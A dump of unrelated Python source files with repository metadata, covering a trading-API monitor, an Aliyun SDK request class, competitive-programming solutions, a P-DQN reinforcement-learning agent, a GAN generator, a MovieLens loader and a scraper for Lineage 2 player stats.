help') sys.exit(2) for opt, arg in opts: if opt == '-h': print('python tradeapi_monitor.py -t <task>\n \ parameter -t comment: \n \ use -t can input the manul single task.\n \ task=["qry_market_data","mem","fpga","db_init","db_trade","errorLog"]. \n \ task="qry_market_data" means porcess and port monitor \n \ task="qry_security" means memory monitor \n \ task="db_trade" means db trading data monitor \n \ task="errorLog" means file error log monitor \n \ task="self_monitor" means self check monitor \n \ task="smss" means check the sms send status \n \ task="sms0" means set sms total_count=0 \n \ fpga_monitor and db_init_monitor just execute once on beginning ' ) sys.exit() elif opt in ("-t", "--task"): manual_task = arg if manual_task not in ["qry_market_data","qry_security"]: logger.warning("[task] input is wrong, please try again!") sys.exit() else: logger.info('manual_task is:%s' % manual_task) logger.info("Start to excute the api monitor") TraderApi_CheckData = JsonData['PyTraderApi'] res_flag = 0 for CheckData in TraderApi_CheckData: check_flag = run_app(manual_task, CheckData) res_flag += check_flag if res_flag == len(TraderApi_CheckData): msg = "Ok,所有服务器 traderapi行情查询 返回结果正确!" logger.info(msg) ct.send_sms_control("NoLimit", msg) else: logger.info("Error: 有服务器 traderapi行情查询 返回结果不正确!") except Exception: logger.error('Faild to run trade api monitor!', exc_info=True) finally: for handler in logger.handlers: logger.removeHandler(handler) if __name__ == "__main__": app=TestApp("thread", "tcp://122.144.152.9:6500") app.start() app.join()
f1771a9b4551cf163b9520955479f3e1ca8a3260
83de24182a7af33c43ee340b57755e73275149ae
/aliyun-python-sdk-gdb/aliyunsdkgdb/request/v20190903/DescribeResourceUsageRequest.py
337bfc1e66b02c32b1bc9d2950100c29f3875e08
[ "Apache-2.0" ]
permissive
aliyun/aliyun-openapi-python-sdk
4436ca6c57190ceadbc80f0b1c35b1ab13c00c7f
83fd547946fd6772cf26f338d9653f4316c81d3c
refs/heads/master
2023-08-04T12:32:57.028821
2023-08-04T06:00:29
2023-08-04T06:00:29
39,558,861
1,080
721
NOASSERTION
2023-09-14T08:51:06
2015-07-23T09:39:45
Python
UTF-8
Python
false
false
2,236
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest from aliyunsdkgdb.endpoint import endpoint_data class DescribeResourceUsageRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'gdb', '2019-09-03', 'DescribeResourceUsage','gds') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_ResourceOwnerId(self): return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self,ResourceOwnerId): self.add_query_param('ResourceOwnerId',ResourceOwnerId) def get_DBInstanceId(self): return self.get_query_params().get('DBInstanceId') def set_DBInstanceId(self,DBInstanceId): self.add_query_param('DBInstanceId',DBInstanceId) def get_ResourceOwnerAccount(self): return self.get_query_params().get('ResourceOwnerAccount') def set_ResourceOwnerAccount(self,ResourceOwnerAccount): self.add_query_param('ResourceOwnerAccount',ResourceOwnerAccount) def get_OwnerAccount(self): return self.get_query_params().get('OwnerAccount') def set_OwnerAccount(self,OwnerAccount): self.add_query_param('OwnerAccount',OwnerAccount) def get_OwnerId(self): return self.get_query_params().get('OwnerId') def set_OwnerId(self,OwnerId): self.add_query_param('OwnerId',OwnerId)
9b4920a9b0dc7ffc023c6d1c687089bb42049ff8
301e55ee3990b2daf135197eac81e1cc244e6cd3
/python/unique-binary-search-trees.py
85835f19426cf7f62c68fcd9c62966e0ff38f19e
[ "MIT" ]
permissive
alirezaghey/leetcode-solutions
74b1b645c324ea7c1511d9ce3a97c8d622554417
c32b786e52dd25ff6e4f84242cec5ff1c5a869df
refs/heads/master
2022-08-22T16:28:05.459163
2022-08-18T12:02:51
2022-08-18T12:02:51
203,028,081
3
1
null
null
null
null
UTF-8
Python
false
false
292
py
class Solution: def numTrees(self, n: int) -> int: if n < 3: return n dp = [1, 1, 2] for i in range(3, n+1): curr = 0 for j in range(1, i+1): curr += dp[j-1]*dp[i-j] dp.append(curr) return dp[-1]
be44c2371706b45c38b3e908d0244ed94f44aa70
cbf9f600374d7510988632d7dba145c8ff0cd1f0
/abc/196/d.py
e216ca75d757df8b0417a076d369cbe78316f30f
[]
no_license
sakakazu2468/AtCoder_py
d0945d03ad562474e40e413abcec39ded61e6855
34bdf39ee9647e7aee17e48c928ce5288a1bfaa5
refs/heads/master
2022-04-27T18:32:28.825004
2022-04-21T07:27:00
2022-04-21T07:27:00
225,844,364
0
0
null
null
null
null
UTF-8
Python
false
false
610
py
h, w, a, b = map(int, input().split()) all_list = [0, 1, 2, 3, 18, 9, 36] max_pattern = 0 if h*w == 1: max_pattern = all_list[0] list_num = 0 elif h*w == 2: max_pattern = all_list[1] list_num = 1 elif h*w == 4: max_pattern = all_list[2] list_num = 4 elif h*w == 6: max_pattern = all_list[3] list_num = 7 elif h*w == 9: max_pattern = all_list[4] list_num = 12 elif h*w == 12: max_pattern = all_list[5] list_num = 17 elif h*w == 16: max_pattern = all_list[6] list_num = 24 if a==0: print(1) elif a==1: print(list_num) else: for i in range()
7e0243512b3b79d91578c7fac1b133d86030d274
5ef3177969ced32aafce0363190265e35344240d
/agents/pdqn_bound.py
39e9f2ccff627ed629549231c2a0f7553317775b
[]
no_license
AlbertChenStonybrook/Project1
9971059b8c8f56be44be86efabd97cf0e0ccb510
37c09011dac7baeed4c5f3ff2de4849208bca588
refs/heads/main
2023-05-26T08:12:36.308233
2021-06-16T15:18:10
2021-06-16T15:18:10
377,552,709
0
0
null
null
null
null
UTF-8
Python
false
false
25,660
py
import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import numpy as np import random from collections import Counter from torch.autograd import Variable from copy import deepcopy from agents.agent import Agent from agents.memory.memory import Memory from agents.utils import soft_update_target_network, hard_update_target_network from agents.utils.noise import OrnsteinUhlenbeckActionNoise from args import * class QActor(nn.Module): def __init__(self, state_size, action_size, action_parameter_size, hidden_layers=(100,), action_input_layer=0, output_layer_init_std=None, activation="relu", **kwargs): super(QActor, self).__init__() self.state_size = state_size self.action_size = action_size self.action_parameter_size = action_parameter_size self.activation = activation # create layers self.layers = nn.ModuleList() inputSize = self.state_size + self.action_parameter_size lastHiddenLayerSize = inputSize if hidden_layers is not None: nh = len(hidden_layers) print("inputsize",inputSize,"hidden_layers[0]",hidden_layers) self.layers.append(nn.Linear(inputSize, hidden_layers[0])) for i in range(1, nh): self.layers.append(nn.Linear(hidden_layers[i - 1], hidden_layers[i])) lastHiddenLayerSize = hidden_layers[nh - 1] self.layers.append(nn.Linear(lastHiddenLayerSize, self.action_size)) # initialise layer weights for i in range(0, len(self.layers) - 1): nn.init.kaiming_normal_(self.layers[i].weight, nonlinearity=activation) nn.init.zeros_(self.layers[i].bias) if output_layer_init_std is not None: nn.init.normal_(self.layers[-1].weight, mean=0., std=output_layer_init_std) # else: # nn.init.zeros_(self.layers[-1].weight) nn.init.zeros_(self.layers[-1].bias) def forward(self, state, action_parameters): # implement forward negative_slope = 0.01 x = torch.cat((state, action_parameters), dim=1) num_layers = len(self.layers) for i in range(0, num_layers - 1): if self.activation == "relu": x = F.relu(self.layers[i](x)) elif self.activation == "leaky_relu": x = F.leaky_relu(self.layers[i](x), negative_slope) else: raise ValueError("Unknown activation function "+str(self.activation)) Q = self.layers[-1](x) return Q class ParamActor(nn.Module): def __init__(self, state_size, action_size, action_parameter_size, hidden_layers, squashing_function=False, output_layer_init_std=None, init_type="kaiming", activation="relu", init_std=None): super(ParamActor, self).__init__() self.state_size = state_size self.action_size = action_size self.action_parameter_size = action_parameter_size self.squashing_function = squashing_function self.activation = activation if init_type == "normal": assert init_std is not None and init_std > 0 assert self.squashing_function is False # unsupported, cannot get scaling right yet # create layers self.layers = nn.ModuleList() inputSize = self.state_size lastHiddenLayerSize = inputSize if hidden_layers is not None: nh = len(hidden_layers) self.layers.append(nn.Linear(inputSize, hidden_layers[0])) for i in range(1, nh): self.layers.append(nn.Linear(hidden_layers[i - 1], hidden_layers[i])) lastHiddenLayerSize = hidden_layers[nh - 1] self.action_parameters_output_layer = nn.Linear(lastHiddenLayerSize, self.action_parameter_size) self.action_parameters_passthrough_layer = nn.Linear(self.state_size, self.action_parameter_size) # initialise layer weights for i in range(0, len(self.layers)): if init_type == "kaiming": nn.init.kaiming_normal_(self.layers[i].weight, nonlinearity=activation) elif init_type == "normal": nn.init.normal_(self.layers[i].weight, std=init_std) else: raise ValueError("Unknown init_type "+str(init_type)) nn.init.zeros_(self.layers[i].bias) if output_layer_init_std is not None: nn.init.normal_(self.action_parameters_output_layer.weight, std=output_layer_init_std) else: nn.init.zeros_(self.action_parameters_output_layer.weight) nn.init.zeros_(self.action_parameters_output_layer.bias) nn.init.zeros_(self.action_parameters_passthrough_layer.weight) nn.init.zeros_(self.action_parameters_passthrough_layer.bias) # fix passthrough layer to avoid instability, rest of network can compensate self.action_parameters_passthrough_layer.requires_grad = False self.action_parameters_passthrough_layer.weight.requires_grad = False self.action_parameters_passthrough_layer.bias.requires_grad = False def forward(self, state): x = state negative_slope = 0.01 num_hidden_layers = len(self.layers) for i in range(0, num_hidden_layers): if self.activation == "relu": x = F.relu(self.layers[i](x)) elif self.activation == "leaky_relu": x = F.leaky_relu(self.layers[i](x), negative_slope) else: raise ValueError("Unknown activation function "+str(self.activation)) action_params = self.action_parameters_output_layer(x) action_params += self.action_parameters_passthrough_layer(state) if self.squashing_function: assert False # scaling not implemented yet action_params = action_params.tanh() action_params = action_params * self.action_param_lim # action_params = action_params / torch.norm(action_params) ## REMOVE --- normalisation layer?? for pointmass return action_params class PDQNAgent(Agent): """ DDPG actor-critic agent for parameterised action spaces [Hausknecht and Stone 2016] """ NAME = "P-DQN Agent" def __init__(self, observation_dim, action_dim, action_high, action_low, actor_class=QActor, actor_kwargs={}, actor_param_class=ParamActor, actor_param_kwargs={}, epsilon_initial=0.8, epsilon_final=0.7, epsilon_steps=10000, batch_size=64, gamma=0.99, tau_actor=0.01, # Polyak averaging factor for copying target weights tau_actor_param=0.001, replay_memory_size=1000000, learning_rate_actor=0.0001, learning_rate_actor_param=0.00001, initial_memory_threshold=0, use_ornstein_noise=True, # if false, uses epsilon-greedy with uniform-random action-parameter exploration loss_func=F.mse_loss, # F.mse_loss clip_grad=10, inverting_gradients=False, zero_index_gradients=False, norm_noise=False, indexed=False, weighted=False, average=False, random_weighted=False, device="cuda" if torch.cuda.is_available() else "cpu", seed=None): super(PDQNAgent, self).__init__(observation_dim, action_dim,action_high,action_low) self.device = torch.device(device) self.num_actions = self.action_dim self.action_parameter_sizes = np.ones(self.num_actions) self.action_parameter_size = int(self.action_parameter_sizes.sum()) self.action_max = torch.from_numpy(np.ones((self.num_actions,))).float().to(device) self.action_min = -self.action_max.detach() self.action_range = (self.action_max-self.action_min).detach() #print([self.action_space.spaces[i].high for i in range(1,self.num_actions+1)]) self.action_parameter_max_numpy = self.action_high.ravel() self.action_parameter_min_numpy = self.action_low.ravel() self.action_parameter_range_numpy = (self.action_parameter_max_numpy - self.action_parameter_min_numpy) self.action_parameter_max = torch.from_numpy(self.action_parameter_max_numpy).float().to(device) self.action_parameter_min = torch.from_numpy(self.action_parameter_min_numpy).float().to(device) self.action_parameter_range = torch.from_numpy(self.action_parameter_range_numpy).float().to(device) self.epsilon = epsilon_initial self.epsilon_initial = epsilon_initial self.epsilon_final = epsilon_final self.epsilon_steps = epsilon_steps self.indexed = indexed self.weighted = weighted self.average = average self.random_weighted = random_weighted assert (weighted ^ average ^ random_weighted) or not (weighted or average or random_weighted) self.action_parameter_offsets = self.action_parameter_sizes.cumsum() self.action_parameter_offsets = np.insert(self.action_parameter_offsets, 0, 0) self.batch_size = batch_size self.gamma = gamma self.replay_memory_size = replay_memory_size self.initial_memory_threshold = initial_memory_threshold self.learning_rate_actor = learning_rate_actor self.learning_rate_actor_param = learning_rate_actor_param self.inverting_gradients = inverting_gradients self.tau_actor = tau_actor self.tau_actor_param = tau_actor_param self._step = 0 self._episode = 0 self.updates = 0 self.clip_grad = clip_grad self.zero_index_gradients = zero_index_gradients self.np_random = None self.seed = seed self._seed(seed) self.use_ornstein_noise = use_ornstein_noise self.noise = OrnsteinUhlenbeckActionNoise(self.action_parameter_size, random_machine=self.np_random, mu=1., theta=3, sigma=0.0001) #, theta=0.01, sigma=0.01) self.norm_noise=norm_noise self.noise_std=args.noise_std self.trainpurpose=True print(self.num_actions+self.action_parameter_size) self.replay_memory = Memory(replay_memory_size, self.observation_dim, 1+self.action_parameter_size, next_actions=False) self.actor = actor_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_kwargs).to(device) self.actor_target = actor_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_kwargs).to(device) hard_update_target_network(self.actor, self.actor_target) self.actor_target.eval() self.actor_param = actor_param_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_param_kwargs).to(device) self.actor_param_target = actor_param_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_param_kwargs).to(device) hard_update_target_network(self.actor_param, self.actor_param_target) self.actor_param_target.eval() self.loss_func = loss_func # l1_smooth_loss performs better but original paper used MSE # Original DDPG paper [Lillicrap et al. 2016] used a weight decay of 0.01 for Q (critic) # but setting weight_decay=0.01 on the critic_optimiser seems to perform worse... # using AMSgrad ("fixed" version of Adam, amsgrad=True) doesn't seem to help either... self.actor_optimiser = optim.Adam(self.actor.parameters(), lr=self.learning_rate_actor) #, betas=(0.95, 0.999)) self.actor_param_optimiser = optim.Adam(self.actor_param.parameters(), lr=self.learning_rate_actor_param) #, betas=(0.95, 0.999)) #, weight_decay=critic_l2_reg) def __str__(self): desc = super().__str__() + "\n" desc += "Actor Network {}\n".format(self.actor) + \ "Param Network {}\n".format(self.actor_param) + \ "Actor Alpha: {}\n".format(self.learning_rate_actor) + \ "Actor Param Alpha: {}\n".format(self.learning_rate_actor_param) + \ "Gamma: {}\n".format(self.gamma) + \ "Tau (actor): {}\n".format(self.tau_actor) + \ "Tau (actor-params): {}\n".format(self.tau_actor_param) + \ "Inverting Gradients: {}\n".format(self.inverting_gradients) + \ "Replay Memory: {}\n".format(self.replay_memory_size) + \ "Batch Size: {}\n".format(self.batch_size) + \ "Initial memory: {}\n".format(self.initial_memory_threshold) + \ "epsilon_initial: {}\n".format(self.epsilon_initial) + \ "epsilon_final: {}\n".format(self.epsilon_final) + \ "epsilon_steps: {}\n".format(self.epsilon_steps) + \ "Clip Grad: {}\n".format(self.clip_grad) + \ "Ornstein Noise?: {}\n".format(self.use_ornstein_noise) + \ "Zero Index Grads?: {}\n".format(self.zero_index_gradients) + \ "Seed: {}\n".format(self.seed) return desc def set_action_parameter_passthrough_weights(self, initial_weights, initial_bias=None): passthrough_layer = self.actor_param.action_parameters_passthrough_layer print(initial_weights.shape) print(passthrough_layer.weight.data.size()) assert initial_weights.shape == passthrough_layer.weight.data.size() passthrough_layer.weight.data = torch.Tensor(initial_weights).float().to(self.device) if initial_bias is not None: print(initial_bias.shape) print(passthrough_layer.bias.data.size()) assert initial_bias.shape == passthrough_layer.bias.data.size() passthrough_layer.bias.data = torch.Tensor(initial_bias).float().to(self.device) passthrough_layer.requires_grad = False passthrough_layer.weight.requires_grad = False passthrough_layer.bias.requires_grad = False hard_update_target_network(self.actor_param, self.actor_param_target) def _seed(self, seed=None): """ NOTE: this will not reset the randomly initialised weights; use the seed parameter in the constructor instead. :param seed: :return: """ self.seed = seed random.seed(seed) np.random.seed(seed) self.np_random = np.random.RandomState(seed=seed) if seed is not None: torch.manual_seed(seed) if self.device == torch.device("cuda"): torch.cuda.manual_seed(seed) def _ornstein_uhlenbeck_noise(self, all_action_parameters): """ Continuous action exploration using an Ornstein–Uhlenbeck process. """ return all_action_parameters.data.numpy() + (self.noise.sample() * self.action_parameter_range_numpy) def start_episode(self): pass def end_episode(self): self._episode += 1 ep = self._episode if ep < self.epsilon_steps: self.epsilon = self.epsilon_initial - (self.epsilon_initial - self.epsilon_final) * ( ep / self.epsilon_steps) else: self.epsilon = self.epsilon_final def act(self, state,action_ava): with torch.no_grad(): state = torch.from_numpy(state).to(self.device) all_action_parameters = self.actor_param.forward(state) # Hausknecht and Stone [2016] use epsilon greedy actions with uniform random action-parameter exploration rnd = self.np_random.uniform() if rnd < self.epsilon: action = action_ava[self.np_random.choice(len(action_ava))] if not self.use_ornstein_noise: all_action_parameters = torch.from_numpy(np.random.uniform(self.action_parameter_min_numpy, self.action_parameter_max_numpy)) else: # select maximum action Q_a = self.actor.forward(state.unsqueeze(0), all_action_parameters.unsqueeze(0)) Q_a = Q_a.detach().cpu().data.numpy() #print("Q",Q_a) Q_a=Q_a[0,action_ava] action = action_ava[np.argmax(Q_a)] #print("action",action) # add noise only to parameters of chosen action all_action_parameters = all_action_parameters.cpu().data.numpy() all_action_parameters =np.clip(all_action_parameters,-args.action_bound,args.action_bound) #print("all_action_parameters",all_action_parameters) offset = np.array([self.action_parameter_sizes[i] for i in range(action)], dtype=int).sum() #print("all_action_parameters",all_action_parameters) #print("offset",offset) #print("para_size",self.action_parameter_sizes[action]) if self.use_ornstein_noise and self.noise is not None: all_action_parameters[offset:offset + int(self.action_parameter_sizes[action])] += self.noise.sample()[offset:offset + self.action_parameter_sizes[action]] if(self.norm_noise and self.trainpurpose): #print("noise") all_action_parameters[offset:offset+1]+=np.random.normal(0,self.noise_std,1) action_parameters = all_action_parameters[offset:offset+1] return action, action_parameters, all_action_parameters def _zero_index_gradients(self, grad, batch_action_indices, inplace=True): assert grad.shape[0] == batch_action_indices.shape[0] grad = grad.cpu() if not inplace: grad = grad.clone() with torch.no_grad(): ind = torch.zeros(self.action_parameter_size, dtype=torch.long) for a in range(self.num_actions): ind[self.action_parameter_offsets[a]:self.action_parameter_offsets[a+1]] = a # ind_tile = np.tile(ind, (self.batch_size, 1)) ind_tile = ind.repeat(self.batch_size, 1).to(self.device) actual_index = ind_tile != batch_action_indices[:, np.newaxis] grad[actual_index] = 0. return grad def _invert_gradients(self, grad, vals, grad_type, inplace=True): # 5x faster on CPU (for Soccer, slightly slower for Goal, Platform?) if grad_type == "actions": max_p = self.action_max min_p = self.action_min rnge = self.action_range elif grad_type == "action_parameters": max_p = self.action_parameter_max min_p = self.action_parameter_min rnge = self.action_parameter_range else: raise ValueError("Unhandled grad_type: '"+str(grad_type) + "'") max_p = max_p.cpu() min_p = min_p.cpu() rnge = rnge.cpu() grad = grad.cpu() vals = vals.cpu() assert grad.shape == vals.shape if not inplace: grad = grad.clone() with torch.no_grad(): # index = grad < 0 # actually > but Adam minimises, so reversed (could also double negate the grad) index = grad > 0 grad[index] *= (index.float() * (max_p - vals) / rnge)[index] grad[~index] *= ((~index).float() * (vals - min_p) / rnge)[~index] return grad def step(self, state, action, reward, next_state, next_action, terminal, time_steps=1): act, all_action_parameters = action self._step += 1 # self._add_sample(state, np.concatenate((all_actions.data, all_action_parameters.data)).ravel(), reward, next_state, terminal) self._add_sample(state, np.concatenate(([act],all_action_parameters)).ravel(), reward, next_state, np.concatenate(([next_action[0]],next_action[1])).ravel(), terminal=terminal) if self._step >= self.batch_size and self._step >= self.initial_memory_threshold: #print("step",self._step,"update") self._optimize_td_loss() self.updates += 1 def _add_sample(self, state, action, reward, next_state, next_action, terminal): assert len(action) == 1 + self.action_parameter_size self.replay_memory.append(state, action, reward, next_state, terminal=terminal) def _optimize_td_loss(self): if self._step < self.batch_size or self._step < self.initial_memory_threshold: return # Sample a batch from replay memory states, actions, rewards, next_states, terminals = self.replay_memory.sample(self.batch_size, random_machine=self.np_random) states = torch.from_numpy(states).to(self.device) actions_combined = torch.from_numpy(actions).to(self.device) # make sure to separate actions and parameters actions = actions_combined[:, 0].long() action_parameters = actions_combined[:, 1:] rewards = torch.from_numpy(rewards).to(self.device).squeeze() next_states = torch.from_numpy(next_states).to(self.device) terminals = torch.from_numpy(terminals).to(self.device).squeeze() # ---------------------- optimize Q-network ---------------------- with torch.no_grad(): pred_next_action_parameters = self.actor_param_target.forward(next_states) pred_Q_a = self.actor_target(next_states, pred_next_action_parameters) Qprime = torch.max(pred_Q_a, 1, keepdim=True)[0].squeeze() # Compute the TD error target = rewards + (1 - terminals) * self.gamma * Qprime # Compute current Q-values using policy network q_values = self.actor(states, action_parameters) y_predicted = q_values.gather(1, actions.view(-1, 1)).squeeze() y_expected = target loss_Q = self.loss_func(y_predicted, y_expected) self.actor_optimiser.zero_grad() loss_Q.backward() if self.clip_grad > 0: torch.nn.utils.clip_grad_norm_(self.actor.parameters(), self.clip_grad) self.actor_optimiser.step() # ---------------------- optimize actor ---------------------- with torch.no_grad(): action_params = self.actor_param(states) action_params.requires_grad = True assert (self.weighted ^ self.average ^ self.random_weighted) or \ not (self.weighted or self.average or self.random_weighted) Q = self.actor(states, action_params) Q_val = Q if self.weighted: # approximate categorical probability density (i.e. counting) counts = Counter(actions.cpu().numpy()) weights = torch.from_numpy( np.array([counts[a] / actions.shape[0] for a in range(self.num_actions)])).float().to(self.device) Q_val = weights * Q elif self.average: Q_val = Q / self.num_actions elif self.random_weighted: weights = np.random.uniform(0, 1., self.num_actions) weights /= np.linalg.norm(weights) weights = torch.from_numpy(weights).float().to(self.device) Q_val = weights * Q if self.indexed: Q_indexed = Q_val.gather(1, actions.unsqueeze(1)) Q_loss = torch.mean(Q_indexed) else: Q_loss = torch.mean(torch.sum(Q_val, 1)) self.actor.zero_grad() Q_loss.backward() from copy import deepcopy delta_a = deepcopy(action_params.grad.data) # step 2 action_params = self.actor_param(Variable(states)) delta_a[:] = self._invert_gradients(delta_a, action_params, grad_type="action_parameters", inplace=True) if self.zero_index_gradients: delta_a[:] = self._zero_index_gradients(delta_a, batch_action_indices=actions, inplace=True) out = -torch.mul(delta_a, action_params) self.actor_param.zero_grad() out.backward(torch.ones(out.shape).to(self.device)) if self.clip_grad > 0: torch.nn.utils.clip_grad_norm_(self.actor_param.parameters(), self.clip_grad) self.actor_param_optimiser.step() soft_update_target_network(self.actor, self.actor_target, self.tau_actor) soft_update_target_network(self.actor_param, self.actor_param_target, self.tau_actor_param) def save_models(self, prefix): """ saves the target actor and critic models :param prefix: the count of episodes iterated :return: """ torch.save(self.actor.state_dict(), prefix + '_actor.pt') torch.save(self.actor_param.state_dict(), prefix + '_actor_param.pt') print('Models saved successfully') def load_models(self, prefix): """ loads the target actor and critic models, and copies them onto actor and critic models :param prefix: the count of episodes iterated (used to find the file name) :param target: whether to load the target newtwork too (not necessary for evaluation) :return: """ # also try load on CPU if no GPU available? self.actor.load_state_dict(torch.load(prefix + '_actor.pt', map_location='cpu')) self.actor_param.load_state_dict(torch.load(prefix + '_actor_param.pt', map_location='cpu')) print('Models loaded successfully') def copy_models(self, actor, actor_param): self.actor=deepcopy(actor) self.actor_param=deepcopy(actor_param)
bd29d9560f41d68aea57e270418f019bd71634e9
c80b6f2aeccbf8271656f715523991bbd3163738
/biblioteka.py
5b01678ba4657f958194b59d51d5110b23e6b5b9
[]
no_license
rwozniak89/python-webowa
7c38294c06606a2dacd8df87c357bb8d27f0ab07
4895774e5f31fdfd830d0cd4b105b52d8728fe77
refs/heads/main
2023-02-18T21:55:34.424455
2021-01-21T18:38:50
2021-01-21T18:38:50
321,030,997
0
0
null
null
null
null
UTF-8
Python
false
false
221
py
# pip install pytest def dodawanie(a,b): return a+b def odejmowanie(a,b): return a-b def mnozenie(a,b): return a*b def dzielenie(a,b): return a/b def lista(): return [pow(2,e) for e in range(10)]
4b06e0adfd48db937907c6d960efd3abf315c9be
6f04bcfede57cdeaf42212dfbc3a0e391437e609
/tfcf/datasets/ml1m.py
e75bf05699761c5f0779b50c4ae06f0f6f2ac336
[ "MIT" ]
permissive
sabyasm/tf-recsys
383bc5aff517ec4a88bd9a66f8b0ba8a0b388760
8f84f2cfb21e94c0874195f16acd63e6f5bbac9b
refs/heads/master
2022-11-13T11:00:14.079129
2020-07-12T04:33:57
2020-07-12T04:33:57
278,991,049
0
0
MIT
2020-07-12T04:30:05
2020-07-12T04:30:04
null
UTF-8
Python
false
false
446
py
import pandas as pd from ..utils.data_utils import get_zip_file def load_data(): """Loads MovieLens 1M dataset. Returns: Tuple of numpy array (x, y) """ URL = 'http://files.grouplens.org/datasets/movielens/ml-1m.zip' FILE_PATH = 'ml-1m/ratings.dat' file = get_zip_file(URL, FILE_PATH) df = pd.read_csv(file, sep='::', header=None, engine='python') return df.iloc[:, :2].values, df.iloc[:, 2].values
1e2a9fe872feebb02328a1c9e2f6e212f8e8e0d1
50d3a401861317d419fb159530945d1e7e9a5abf
/generator.py
82dee231fa7cc10fce21f9b07d340d51d24d33ab
[]
no_license
kkothari93/swg
7bd275c70c66deb0f3786822ab3976fa2e19e5ff
d2d3dae311b64526b2b61003f015e9f478fec081
refs/heads/master
2021-09-10T21:43:21.772025
2018-04-02T19:46:19
2018-04-02T19:46:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,915
py
import tensorflow as tf import tensorflow.contrib.layers as layers def generator(z, reuse=False): """ generator Network to produce samples. params: z: Input noise [batch size, latent dimension] returns: x_hat: Artificial image [batch size, 64, 64, 3] """ batch_norm = layers.batch_norm outputs = [] h = z with tf.variable_scope("generator", reuse=reuse) as scope: h = layers.fully_connected( inputs=h, num_outputs=4 * 4 * 1024, activation_fn=tf.nn.relu, normalizer_fn=batch_norm) h = tf.reshape(h, [-1, 4, 4, 1024]) # [4,4,1024] h = layers.conv2d_transpose( inputs=h, num_outputs=512, kernel_size=4, stride=2, activation_fn=tf.nn.relu, normalizer_fn=batch_norm) # [8,8,512] h = layers.conv2d_transpose( inputs=h, num_outputs=256, kernel_size=4, stride=2, activation_fn=tf.nn.relu, normalizer_fn=batch_norm) # [16,16,256] h = layers.conv2d_transpose( inputs=h, num_outputs=128, kernel_size=4, stride=2, activation_fn=tf.nn.relu, normalizer_fn=batch_norm) # This is an extra conv layer like the WGAN folks. h = layers.conv2d( inputs=h, num_outputs=128, kernel_size=4, stride=1, activation_fn=tf.nn.relu, normalizer_fn=batch_norm) # [32,32,128] x_hat = layers.conv2d_transpose( inputs=h, num_outputs=3, kernel_size=4, stride=2, activation_fn=tf.nn.sigmoid, biases_initializer=None) # [64,64,3] return x_hat
f0ab7849d90fcd33aba1c1db2f8977a45292cf11
307ccdde9c423f1587b34d05385b90fad7b9eb90
/codechef/Oct13/HELPLIRA/helplira.py
0b94bbad32245dfb2d5f9984692a63c18171dbb7
[]
no_license
ravi-ojha/competitive-sport
98513e28624f6ff279bf378ba13bb4bed7497704
617847cbc880a9b79173d35c243b4c6f73c3f7a8
refs/heads/master
2021-06-08T14:02:36.233718
2017-08-22T21:47:22
2017-08-22T21:47:22
56,091,058
0
0
null
null
null
null
UTF-8
Python
false
false
590
py
def helplira(): n = input() a = [] minIndex = 0 minValue = 1000000000 maxIndex = 0 maxValue = -1 for i in xrange(n): x = map(int,raw_input().split()) t = x[0]*(x[3] - x[5]) + x[2]*(x[5] - x[1]) + x[4]*(x[1] - x[3]) if t < 0: t = -t t = t/2.0 a.append(t) for i in xrange(n): if a[i] <= minValue: minValue = a[i] minIndex = i for i in xrange(n): if a[i] >= maxValue: maxValue = a[i] maxIndex = i print minIndex+1, maxIndex+1 helplira()
4d026d825ac957c110e5f8d8b8fec9a65d1abd4b
a03776024ed044e70ec10bd89b95e83055c886b5
/l2onparser.py
32f71e5dca69b2431913c89144718d1daf6bbd08
[]
no_license
jehudielful/glavpetuh
78434eec2620eaa1ec0d31e0c5b468fab09149a9
3db058c1122c2a3ef823428885eedc4ed8878a6a
refs/heads/master
2021-01-18T17:26:15.271744
2017-03-31T07:21:10
2017-03-31T07:21:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,833
py
import re import string import urllib.request import urllib.parse import requests from urllib.parse import quote_from_bytes as qfb from pprint import pprint from bs4 import BeautifulSoup url = 'http://l2on.net' output = """\ {name} {title} {prof} - {lvl} Max.HP: {maxhp} Max.MP: {maxmp} Клан: {clan} Замечен: {first_spotted} Обновлен: {last_spotted} Аммуниция:\n """ def is_valid(nickname): for char in nickname: if char in string.punctuation + string.whitespace: return 0 pattern = re.compile('[а-яА-ЯёЁ]') match = re.search(pattern, nickname) if match: return 1 def parse(nickname): valid = is_valid(nickname) if valid == 0: return 'Невалидное имя' elif valid == 1: name = nickname.encode('windows-1251') else: name = nickname values = {'setworld': 1092, 'c': 'userdata', 'a': 'search', 'type': 'char', 'name': name} req = requests.get(url, params=values) # ConnectionError soup = BeautifulSoup(req.text, 'html.parser') table = soup.find_all('a', 'black', href=re.compile('id')) players = table[::2] player_url = None for i in players: if i.text.lower() == nickname.lower(): m = re.search('id=[0-9]+', str(i)) start = m.span()[0] end = m.span()[1] player_id = str(i)[start:end] player_url = 'http://l2on.net/?c=userdata&a=char&' + player_id break if not player_url: return 'Ничего не найдено' else: return player_url # req = requests.get(player_url) # soup = BeautifulSoup(req, 'html.parser') # parse('стригущийлишай')
3a052d7c967b33f1bf2baef22daf9476ec5dc9e3
d4df7688c3279274483a45fbda1634c3128dfe26
/10-one hot encoding.py
b9fe8f5e20a2e62674594a22bfb4c7aa5161b820
[]
no_license
mostafagafer/Machine-learning-with-python-
d203bf5ce1aae288bef39ff2a2b231bbee5660f5
144fa9896346b11b8230e5fa08ea9ac282016000
